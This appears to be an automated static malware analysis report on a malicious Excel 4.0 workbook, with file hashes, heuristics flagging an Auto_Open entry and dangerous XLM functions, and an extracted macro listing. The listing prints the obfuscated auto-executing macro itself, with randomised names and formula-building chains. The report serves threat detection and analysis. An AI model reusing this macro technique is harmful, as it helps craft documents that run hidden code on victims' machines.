Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7a5007785ba11a0f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:30:20 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 645e818659757ba49a67bcb5f4d441a9 SHA-1: 08eb6b50926bd827b6b11bace5cb29c47fd4f5be SHA-256: 7a5007785ba11a0fd7bf907798601308ba34f451e5b3580780090ac4b75925f1
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6439 bytes
SHA-256: 8a2ca8bdf165f414acb3742327f3280212ae5d6e7f020df8cfc758db2803015f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  gfOi
' 0018     20 LABEL : Cell Value, String Constant - afaZp len=0 
' 0018     27 LABEL : Cell Value, String Constant - aHLwcuYpYWEu len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B168 
' 0018     21 LABEL : Cell Value, String Constant - BedhXE len=0 
' 0018     25 LABEL : Cell Value, String Constant - cvXnMelOYb len=0 
' 0018     24 LABEL : Cell Value, String Constant - ecdyRaxQp len=0 
' 0018     21 LABEL : Cell Value, String Constant - FtblZq len=0 
' 0018     24 LABEL : Cell Value, String Constant - igLnnoRPw len=0 
' 0018     25 LABEL : Cell Value, String Constant - ixCvkTpHBr len=0 
' 0018     22 LABEL : Cell Value, String Constant - lBoeolm len=0 
' 0018     24 LABEL : Cell Value, String Constant - MdeTPdCvu len=0 
' 0018     22 LABEL : Cell Value, String Constant - OLsXVAs len=0 
' 0018     20 LABEL : Cell Value, String Constant - pHjwG len=0 
' 0018     26 LABEL : Cell Value, String Constant - qIjhwsFnkrr len=0 
' 0018     24 LABEL : Cell Value, String Constant - qMyAIGBTs len=0 
' 0018     24 LABEL : Cell Value, String Constant - rUfZqJXUs len=0 
' 0018     20 LABEL : Cell Value, String Constant - TKywd len=0 
' 0018     25 LABEL : Cell Value, String Constant - TwfhyLTbZi len=0 
' 0018     24 LABEL : Cell Value, String Constant - vDhzAnnvI len=0 
' 0018     22 LABEL : Cell Value, String Constant - WOFlasz len=0 
' 0018     22 LABEL : Cell Value, String Constant - zBfPFnE len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  gfOi,B74,"SET.NAME("FtblZq",VALUE("0"))",""
'  gfOi,B78,"SET.NAME("rUfZqJXUs",FtblZq)",""
'  gfOi,B80,"SET.NAME("TKywd",FtblZq)",""
'  gfOi,B85,"SET.NAME("ixCvkTpHBr",COUNTA(afaZp))",""
'  gfOi,B88,"SET.NAME("aHLwcuYpYWEu",COUNTA(qIjhwsFnkrr))",""
'  gfOi,B93,[],""
'  gfOi,B98,"SET.NAME("vDhzAnnvI","")",""
'  gfOi,B100,"rUfZqJXUs",""
'  gfOi,B103,"SET.NAME("lBoeolm",HLOOKUP("*",afaZp,rUfZqJXUs,FALSE))",""
'  gfOi,B105,"WOFlasz",""
'  gfOi,B110,"SET.NAME("cvXnMelOYb",FtblZq)",""
'  gfOi,B114,[],""
'  gfOi,B119,"cvXnMelOYb",""
'  gfOi,B122,"BedhXE",""
'  gfOi,B126,"TwfhyLTbZi",""
'  gfOi,B131,"zBfPFnE",""
'  gfOi,B133,"SET.NAME("MdeTPdCvu",VALUE(HLOOKUP("*",qIjhwsFnkrr,zBfPFnE,FALSE)))",""
'  gfOi,B137,"pHjwG",""
'  gfOi,B139,"vDhzAnnvI",""
'  gfOi,B143,"TKywd",""
'  gfOi,B146,NEXT(),""
'  gfOi,B150,"ecdyRaxQp",""
'  gfOi,B152,"SET.NAME("f",INT(T(FORMULA(T(vDhzAnnvI)&"",""&T(ecdyRaxQp)))))",""
'  gfOi,B156,"OLsXVAs",""
'  gfOi,B161,NEXT(),""
'  gfOi,B163,RETURN(),""
'  gfOi,B192,"SET.NAME("igLnnoRPw",B74)",""
'  gfOi,B194,"afaZp",""
'  gfOi,B198,"SET.NAME("qIjhwsFnkrr",R69C15)",""
'  gfOi,B202,"SET.NAME("OLsXVAs",210)",""
'  gfOi,B206,"SET.NAME("qMyAIGBTs",2)",""
'  gfOi,B209,igLnnoRPw(),""
'  gfOi,B210,HALT(),""